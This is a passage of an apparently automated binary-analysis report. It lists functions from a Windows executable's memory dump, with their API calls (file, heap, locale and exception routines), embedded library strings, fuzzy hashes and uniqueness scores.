Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

GetLastError.KERNEL32 ref: 00055EF1

Part of subcall function 00055F80: CloseHandle.KERNEL32(00000000), ref: 00055F8A

Part of subcall function 000557B0: FormatMessageA.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000,?,?,?,?,?,?,?,0012CEE3,000000FF), ref: 0005583B
Part of subcall function 000557B0: LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,0012CEE3,000000FF), ref: 00055852

__CxxThrowException@8.LIBVCRUNTIME ref: 00055F20

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

__CxxThrowException@8.LIBVCRUNTIME ref: 00055F47
__CxxThrowException@8.LIBVCRUNTIME ref: 00055F6E

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ErrorLast$BaseCloseCreateExceptionFeatureFileFormatFreeHandleInitLocalMappingMessagePresentProcessorRaiseThreadThunk___raise_securityfailure
String ID:
API String ID: 3756423735-0
Opcode ID: f82966e034338601100631f61022a71aff877b81a396482406319119602a3925
Instruction ID: 3b82ee412dbc310b1eb9be8e70ff5002b903600d726fc90aafb058fda28e2738
Opcode Fuzzy Hash: f82966e034338601100631f61022a71aff877b81a396482406319119602a3925
Instruction Fuzzy Hash: 6F41B2712046019FC718DF68DC66BABB7E9AF99302F404629F99597191DB30EE08CB92

Uniqueness

Uniqueness Score: 100.00%

Function 0011622E, Relevance: 9.2, APIs: 6, Instructions: 200COMMON

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 0011625A

Part of subcall function 0011C726: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0011E0BD,00000001,00000364,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011C767

__cftoe.LIBCMT ref: 0011628C
_free.LIBCMT ref: 001162B2

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

Part of subcall function 0010F468: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0010F46A
Part of subcall function 0010F468: GetCurrentProcess.KERNEL32(C0000417), ref: 0010F48C
Part of subcall function 0010F468: TerminateProcess.KERNEL32(00000000), ref: 0010F493

Part of subcall function 0011622E: _free.LIBCMT ref: 00116384
Part of subcall function 0011622E: _free.LIBCMT ref: 001163B7
Part of subcall function 0011622E: _free.LIBCMT ref: 001163ED

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: _free$HeapProcess__cftoe$AllocateCurrentErrorFeatureFreeLastPresentProcessorTerminate
String ID:
API String ID: 2670463332-0
Opcode ID: b2b1f8ccbbe870f512805cd0171107e107aa96d0e97b8241f3b67327e54f3c7b
Instruction ID: 101114606c209ddf330aa00919a4d7c6f5b9182745cb09508017bfafa2ef2498
Opcode Fuzzy Hash: b2b1f8ccbbe870f512805cd0171107e107aa96d0e97b8241f3b67327e54f3c7b
Instruction Fuzzy Hash: 5D51EB32900205ABDF2C9B688C45EEE77B9EF59370F21423DF829D6182DB36D9C0C665

Uniqueness

Uniqueness Score: 12.89%

Function 0006C220, Relevance: 9.1, APIs: 6, Instructions: 124COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0006C260
std::_Lockit::_Lockit.LIBCPMT ref: 0006C282
std::_Lockit::~_Lockit.LIBCPMT ref: 0006C2A2

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00051DD0: std::_Lockit::_Lockit.LIBCPMT ref: 00051DFD
Part of subcall function 00051DD0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00051E4C
Part of subcall function 00051DD0: __CxxThrowException@8.LIBVCRUNTIME ref: 00051E7E

__Getctype.LIBCPMT ref: 0006C341

Part of subcall function 00051E90: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00051EB6
Part of subcall function 00051E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00051F4A

std::_Facet_Register.LIBCPMT ref: 0006C360
std::_Lockit::~_Lockit.LIBCPMT ref: 0006C380

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Locinfo::_Throw$Facet_GetctypeLocinfo_ctorLocinfo_dtorRegister
String ID:
API String ID: 585862536-0
Opcode ID: 5edf0c2e841a071dbbcab534103bae3b02a39a063aa289db39fbe1b6fdd03a15
Instruction ID: 95946bd6ec219ad0ed33ae5db0ecdc58743af705977ec55be78ff64c064b13d8
Opcode Fuzzy Hash: 5edf0c2e841a071dbbcab534103bae3b02a39a063aa289db39fbe1b6fdd03a15
Instruction Fuzzy Hash: 5E41B1719042159FEB11DF58C881EBEB7F5EB14710F148169EC89AB352EB30AE85CBE1

Uniqueness

Uniqueness Score: 12.89%

Function 000ABCA7, Relevance: 9.1, APIs: 6, Instructions: 124UNIQUE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000ABCBC
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 000ABD04
__Getcvt.LIBCPMT ref: 000ABD11

Part of subcall function 00051E90: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00051EB6
Part of subcall function 00051E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00051F4A

std::_Lockit::_Lockit.LIBCPMT ref: 000ABD74
std::_Lockit::~_Lockit.LIBCPMT ref: 000ABD95
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000ABDA4

Part of subcall function 000D87A2: __EH_prolog3.LIBCMT ref: 000D87A9
Part of subcall function 000D87A2: std::_Lockit::_Lockit.LIBCPMT ref: 000D87B3
Part of subcall function 000D87A2: std::_Lockit::~_Lockit.LIBCPMT ref: 000D8857
Part of subcall function 000D87A2: Concurrency::cancel_current_task.LIBCPMT ref: 000D8862
Part of subcall function 000D87A2: __EH_prolog3.LIBCMT ref: 000D886F
Part of subcall function 000D87A2: std::locale::_Locimp::_Makeloc.LIBCPMT ref: 000D889B

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$H_prolog3Locimp::_Locinfo::_std::locale::_$AddfacConcurrency::cancel_current_taskGetcvtLocimp_Locinfo_ctorLocinfo_dtorMakeloc
String ID:
API String ID: 2425326892-0
Opcode ID: c89190c1eec3bbb7add342837e92e06f44785f8f9d6381658d3a2e8ae2dd6d2f
Instruction ID: dec53e4eca5a55f60719faa92b5746eea517256cc4f79bff10c484de4702fd03
Opcode Fuzzy Hash: c89190c1eec3bbb7add342837e92e06f44785f8f9d6381658d3a2e8ae2dd6d2f
Instruction Fuzzy Hash: 2F518CB0D01348DFDB21DFA8C94179EBBF0BF55300F14815AD859AB253E770A988CB91

Uniqueness

Uniqueness Score: 100.00%

Function 00073EB0, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 163UNIQUE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00073F66
___std_exception_destroy.LIBVCRUNTIME ref: 000740E7

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00076140: ___std_exception_copy.LIBVCRUNTIME ref: 0007618B

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

Part of subcall function 00075E20: ___std_exception_destroy.LIBVCRUNTIME ref: 00075E7E

Strings

bad exception, xrefs: 00073EF1, 00073F60, 000740DF
p>, xrefs: 000740B3, 00074109
p>, xrefs: 00074081, 000740AE

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ___std_exception_copy___std_exception_destroy$Exception@8Throw__onexit
String ID: bad exception$p>$p>
API String ID: 2640620554-303535964
Opcode ID: 307420ccd145dfa3c1b14a99acf21ff6b8c0184fc4abf9ab6eca7fbc96453e32
Instruction ID: 06c5fd65f11d10a46bc659bdae5f2b126e27c4a3029594b8a9db9b5455b8fee0
Opcode Fuzzy Hash: 307420ccd145dfa3c1b14a99acf21ff6b8c0184fc4abf9ab6eca7fbc96453e32
Instruction Fuzzy Hash: B07124B4D00348DFDB00DF98D985A9EBBF4BF09308F544159E819AB351E7B4AA88CB91

Uniqueness

Uniqueness Score: 100.00%

Function 000AA700, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 66UNIQUE

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,7757EEF2,7757EEF2,00090133,?,000001B6,00000000,?,?,00000001,?,?,?,00000000,00000010), ref: 000AA735
GetLastError.KERNEL32(?,?,00000001,?,?,?,00000000,00000010,?,?,?,?,?,DB2C627E,7757C452,00000000), ref: 000AA741

Part of subcall function 000AA270: __CxxThrowException@8.LIBVCRUNTIME ref: 000AA334

SetFileAttributesW.KERNELBASE(?,00000000,?,?,?,?,?,?,00000001,?,?,?,00000000,00000010), ref: 000AA790
GetLastError.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,00000000,00000010), ref: 000AA79A

Strings

boost::filesystem::permissions, xrefs: 000AA74B, 000AA7A4

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: AttributesErrorFileLast$Exception@8Throw
String ID: boost::filesystem::permissions
API String ID: 584505861-2253952981
Opcode ID: e56e31f0d61fe07911eecc6b2726501501f8e9edbb2f429650a937abe6e673fa
Instruction ID: ebc63674a25a3e27a559351b8669af36daa6587e3e14acde091efa2b643c4613
Opcode Fuzzy Hash: e56e31f0d61fe07911eecc6b2726501501f8e9edbb2f429650a937abe6e673fa
Instruction Fuzzy Hash: FE119171B097106BDA615AE99D4CB6F77B8AF97361F180624FC51C21D1D339C890C6A3

Uniqueness

Uniqueness Score: 100.00%

Function 0011A645, Relevance: 7.7, APIs: 5, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: _free$Process$AllocateCurrentFeatureHeapPresentProcessorTerminate___report_securityfailure_memcmp
String ID:
API String ID: 1143044725-0
Opcode ID: f366e305cee090927a417bfe5f92037eaeb8b356c839c9f2374af5450fd20c57
Instruction ID: 6ba3fb3656b4ef6ed2e1edeed691c94b58c89156270c87add2c81fa1f33932f8
Opcode Fuzzy Hash: f366e305cee090927a417bfe5f92037eaeb8b356c839c9f2374af5450fd20c57
Instruction Fuzzy Hash: ED510731A01304AFDB28DF69DC41AAABBF5EF54724F54057DE809D7290E731EA81CB81

Uniqueness

Uniqueness Score: 0.00%

Function 0006F530, Relevance: 7.6, APIs: 5, Instructions: 108COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0006F55D
std::_Lockit::_Lockit.LIBCPMT ref: 0006F57D
std::_Lockit::~_Lockit.LIBCPMT ref: 0006F59D

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00051DD0: std::_Lockit::_Lockit.LIBCPMT ref: 00051DFD
Part of subcall function 00051DD0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00051E4C
Part of subcall function 00051DD0: __CxxThrowException@8.LIBVCRUNTIME ref: 00051E7E

Part of subcall function 00051E90: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00051EB6
Part of subcall function 00051E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00051F4A

std::_Facet_Register.LIBCPMT ref: 0006F63D
std::_Lockit::~_Lockit.LIBCPMT ref: 0006F65D

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Locinfo::_Throw$Facet_Locinfo_ctorLocinfo_dtorRegister
String ID:
API String ID: 2621710291-0
Opcode ID: 62bd5e47039a1c8d4c2607b2331941c9193ad8cf405ffed698368a4eb604ce89
Instruction ID: 1680862d2c78cded3083c2081ff5043dcc264718da8b59b26146e4e5b87b2466
Opcode Fuzzy Hash: 62bd5e47039a1c8d4c2607b2331941c9193ad8cf405ffed698368a4eb604ce89
Instruction Fuzzy Hash: D041C0719042069FCB21DF58E940BBEB7F6EF50714F144069E80AAB352EB71AD45CBA1

Uniqueness

Uniqueness Score: 4.31%

Function 000AF440, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 214UNIQUE

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 000AF4F1

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000AF688

Strings

: this object doesn't support a special last block, xrefs: 000AF4C2
PK_DefaultEncryptionFilter: plaintext too long, xrefs: 000AF65F

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: : this object doesn't support a special last block$PK_DefaultEncryptionFilter: plaintext too long
API String ID: 654547538-977134898
Opcode ID: 86ecc18210c193c20c0cb070e1d5921e41d1aede3b551e079e2695565ee86462
Instruction ID: 98f57fb2fa4838db5517e658af7180b3e50a4960c01ed0e803a460d9ed72c1d1
Opcode Fuzzy Hash: 86ecc18210c193c20c0cb070e1d5921e41d1aede3b551e079e2695565ee86462
Instruction Fuzzy Hash: 9E718F71A0060AAFCB14DFE4C885FEEBBB9FF49310F104529F916A7681DB71A954CB90

Uniqueness

Uniqueness Score: 100.00%

Function 000AA7C0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133UNIQUE

Download Yara Rule

APIs

GetLastError.KERNEL32(DB2C627E,?,?,00000000), ref: 000AA7F7

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000AA8DB

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Part of subcall function 000AA410: CreateFileW.KERNEL32(000000FF,00000008,00000007,00000000,00000003,02200000,00000000), ref: 000AA453
Part of subcall function 000AA410: DeviceIoControl.KERNEL32(00000000,000900A8,00000000,00000000,00000000,00004000,?,00000000), ref: 000AA49A
Part of subcall function 000AA410: CloseHandle.KERNEL32(00000000), ref: 000AA4D4

GetFileAttributesW.KERNELBASE(?,?,00000000,?,00000000), ref: 000AA904

Strings

boost::filesystem::status, xrefs: 000AA88D

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: File$AttributesCloseControlCreateDeviceErrorExceptionException@8FeatureHandleLastPresentProcessorRaiseThrow___raise_securityfailure
String ID: boost::filesystem::status
API String ID: 2812220395-3746320807
Opcode ID: 6a012ae37c0b2d153ab10ce9614d09449e5256a9ffef313c3ca807b896432b1e
Instruction ID: 52adf844a535b79736760e0abd4b1f04377e0e1fb97e23509171e331b7a38962
Opcode Fuzzy Hash: 6a012ae37c0b2d153ab10ce9614d09449e5256a9ffef313c3ca807b896432b1e
Instruction Fuzzy Hash: F1419272E003159BDB20AFA8DC85AEEF7F4EF07710F14012AE815A7291EB789D45C792

Uniqueness

Uniqueness Score: 100.00%

Function 00051DD0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00051DFD
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00051E4C

Part of subcall function 00051D30: ___std_exception_copy.LIBVCRUNTIME ref: 00051D58

__CxxThrowException@8.LIBVCRUNTIME ref: 00051E7E

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Strings

bad locale name, xrefs: 00051E68

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$ExceptionException@8Locinfo::_Locinfo_ctorLockitLockit::_RaiseThrow___std_exception_copy
String ID: bad locale name
API String ID: 2988018378-1405518554
Opcode ID: db80144889d16b49c833da437170fb02498b46f182834a902527255370d6709e
Instruction ID: f74048b02da1499830850090378d612c5bcf2f2242ffea92bfe525b53d9b96fe
Opcode Fuzzy Hash: db80144889d16b49c833da437170fb02498b46f182834a902527255370d6709e
Instruction Fuzzy Hash: 2311B1719047449FD320CFA8C801B8BBBF4EF19710F008A1EE859C3B81D7B5A508CBA1

Uniqueness

Uniqueness Score: 12.89%

Function 000AE590, Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

Part of subcall function 000AE060: ___std_exception_copy.LIBVCRUNTIME ref: 000AE1C2

__CxxThrowException@8.LIBVCRUNTIME ref: 000AE605

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

__CxxThrowException@8.LIBVCRUNTIME ref: 000AE68C
__CxxThrowException@8.LIBVCRUNTIME ref: 000AE719
__CxxThrowException@8.LIBVCRUNTIME ref: 000AE79E

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure___std_exception_copy
String ID:
API String ID: 106381449-0
Opcode ID: 3b6af82645c9e72cd68d1584acaa0ef0caf38ba017feb6b6fe3d13416b770a89
Instruction ID: ad83fcf2235de21b343e46813f8936334fc177d62ec3d4caf2656e99914ca4f7
Opcode Fuzzy Hash: 3b6af82645c9e72cd68d1584acaa0ef0caf38ba017feb6b6fe3d13416b770a89
Instruction Fuzzy Hash: 62718D7190424CEFCB00DFA4D844FAEBBB8FB09710F408669F915AB691DBB5E910CB90

Uniqueness

Uniqueness Score: 0.31%

Function 000AAB90, Relevance: 6.1, APIs: 4, Instructions: 134fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,DB2C627E,?,?,?,?,?,?,00133E80,000000FF,?,00055195), ref: 000AABD2
CreateFileW.KERNEL32(?,00000000,00000007,00000000,00000003,02000000,00000000), ref: 000AAC5B
CloseHandle.KERNEL32(00000000), ref: 000AACC3

Part of subcall function 000AA7C0: GetLastError.KERNEL32(DB2C627E,?,?,00000000), ref: 000AA7F7
Part of subcall function 000AA7C0: __CxxThrowException@8.LIBVCRUNTIME ref: 000AA8DB
Part of subcall function 000AA7C0: GetFileAttributesW.KERNELBASE(?,?,00000000,?,00000000), ref: 000AA904

Part of subcall function 000AA410: CreateFileW.KERNEL32(000000FF,00000008,00000007,00000000,00000003,02200000,00000000), ref: 000AA453
Part of subcall function 000AA410: DeviceIoControl.KERNEL32(00000000,000900A8,00000000,00000000,00000000,00004000,?,00000000), ref: 000AA49A
Part of subcall function 000AA410: CloseHandle.KERNEL32(00000000), ref: 000AA4D4

CloseHandle.KERNEL32(00000000), ref: 000AACB3

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: File$CloseHandle$AttributesCreate$ControlDeviceErrorException@8FeatureLastPresentProcessorThrow___raise_securityfailure
String ID:
API String ID: 4150888354-0
Opcode ID: bbe4ea968ba3cf5c4a66f8d976a9063c21ce14d1b047a1813a644c76948d350a
Instruction ID: f62c95a1d4b568c3d76c49caec3d6d16afa3036f694f88216ef6cc2302cdd700
Opcode Fuzzy Hash: bbe4ea968ba3cf5c4a66f8d976a9063c21ce14d1b047a1813a644c76948d350a
Instruction Fuzzy Hash: CB41B171A00204EFDB10DFA4DD45BEEBBB4EF0B725F144119E816A72C1D7355A40CBA2

Uniqueness

Uniqueness Score: 0.80%

Function 0011EFFD, Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,?,00000000,00000000,?,0011EFA4,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue), ref: 0011F02F
GetLastError.KERNEL32(?,0011EFA4,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000,00000364,?,0011E0DA), ref: 0011F03B
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0011EFA4,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000), ref: 0011F049
FreeLibrary.KERNEL32(00000000,?,0011EFA4,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000,00000364), ref: 0011F06B

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
